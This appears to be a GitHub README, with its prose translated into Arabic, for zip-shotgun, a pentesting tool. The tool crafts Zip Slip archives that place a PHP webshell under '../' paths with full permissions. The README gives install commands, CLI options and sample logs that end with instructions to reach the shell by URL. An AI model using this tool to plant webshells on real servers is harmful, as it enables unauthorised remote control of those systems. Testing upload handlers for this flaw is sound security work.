jpiechowka/zip-shotgunسكريبت أداة لاختبار وظيفة رفع ملفات zip (وإمكانية استخراج ملفات zip) لاستغلال الثغرات (المعروفة بـ Zip Slip)
أداة سكريبت لاختبار وظيفة رفع ملفات zip (واستخراج محتمل لملفات zip) للثغرات (المعروفة باسم Zip Slip). فكرة هذا السكريبت مستمدة من هذه المقالة على Silent Signal Techblog - تحميل ملف مضغوط وتنفيذ أوامر ومن OWASP - اختبار رفع الملفات الخبيثة
لدى Snyk.io تقرير عن كيفية عمل ذلك: ثغرة Zip Slip ومستودع GitHub يحتوي على مكتبات ضعيفة بلغات مختلفة: مستودع Snyk.io Zip Slip على GitHub
يوجد أيضًا فيديو رائع من LiveOverflow يلقي الضوء على ثغرات Zip Slip و Zipperdown: ثغرات .zip الحرجة؟ - Zip Slip و ZipperDown
هذا السكريبت سوف ينشئ أرشيفًا يحتوي على ملفات فيها "../" في اسم الملف. عند استخراجها، قد يتسبب ذلك في استخراج الملفات إلى أدلة سابقة. يمكن أن يسمح للمهاجم باستخراج شلات إلى أدلة يمكن الوصول إليها من متصفح الويب.
الشل الافتراضي هو شل PHP لـ wwwolf وكل الفضل يعود إلى WhiteWinterWolf. المصدر متاح هنا
التثبيت باستخدام Python pip (Python 3 مطلوب)
pip3 install zip-shotgun --upgrade
استنساخ مستودع git والتثبيت
git clone https://github.com/jpiechowka/zip-shotgun.git
التنفيذ من الدليل الجذر للمستودع المستنسخ (حيث يوجد ملف setup.py)
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Show the version and exit.
-c, --directories-count INTEGER
Count of how many directories to go back
inside the zip file (e.g 3 means that 3
files will be added to the zip: shell.php,
../shell.php and ../../shell.php where
shell.php is the name of the shell you
provided or randomly generated value
[default: 16]
-n, --shell-name TEXT Name of the shell inside the generated zip
file (e.g shell). If not provided it will be
randomly generated. Cannot have whitespaces
-f, --shell-file-path PATH A file that contains code for the shell. If
this option is not provided wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) php shell will be added
instead. If name is provided it will be
added to the zip with the provided name or
if not provided the name will be randomly
generated.
--compress Enable compression. If this flag is set
archive will be compressed using DEFALTE
algorithm with compression level of 9. By
default there is no compression applied.
-h, --help Show this message and exit.
استخدام جميع الخيارات الافتراضية
zip-shotgun archive.zip
جزء من مخرجات السكريبت
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
استخدام الخيارات الافتراضية مع تمكين الضغط لأرشيف
zip-shotgun --compress archive.zip
جزء من مخرجات السكريبت
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
استخدام الخيارات الافتراضية مع تغيير عدد الأدلة للرجوع في الأرشيف إلى 3
zip-shotgun --directories-count 3 archive.zip
zip-shotgun -c 3 archive.zip
سيقوم السكريبت بكتابة 3 ملفات إجمالاً في الأرشيف
جزء من مخرجات السكريبت
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
استخدام الخيارات الافتراضية مع توفير اسم الشل داخل الأرشيف وتمكين الضغط
لا يمكن أن يحتوي اسم الشل على مسافات
zip-shotgun --shell-name custom-name --compress archive.zip
zip-shotgun -n custom-name --compress archive.zip
سيتم تعيين اسم ملفات الشل داخل الأرشيف إلى الاسم الذي قدمه المستخدم.
جزء من مخرجات السكريبت
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../../custom-name.php
...
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL
توفير ملف شل مخصص مع استخدام اسم عشوائي داخل الأرشيف. تعيين عدد الأدلة إلى 3
zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip
zip-shotgun -c 3 -f ./custom-shell.php archive.zip
سيتم استخراج كود الشل من الملف الذي قدمه المستخدم. سيتم إنشاء الأسماء داخل الأرشيف بشكل عشوائي.
جزء من مخرجات السكريبت
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
توفير ملف شل مخصص وتعيين اسم الشل للحفظ داخل الأرشيف. تعيين عدد الأدلة إلى 3 واستخدام الضغط
zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip
zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip
سيتم استخراج كود الشل من الملف الذي قدمه المستخدم. سيتم تعيين الأسماء داخل الأرشيف إلى الاسم الذي قدمه المستخدم.
جزء من مخرجات السكريبت
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:25:19 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL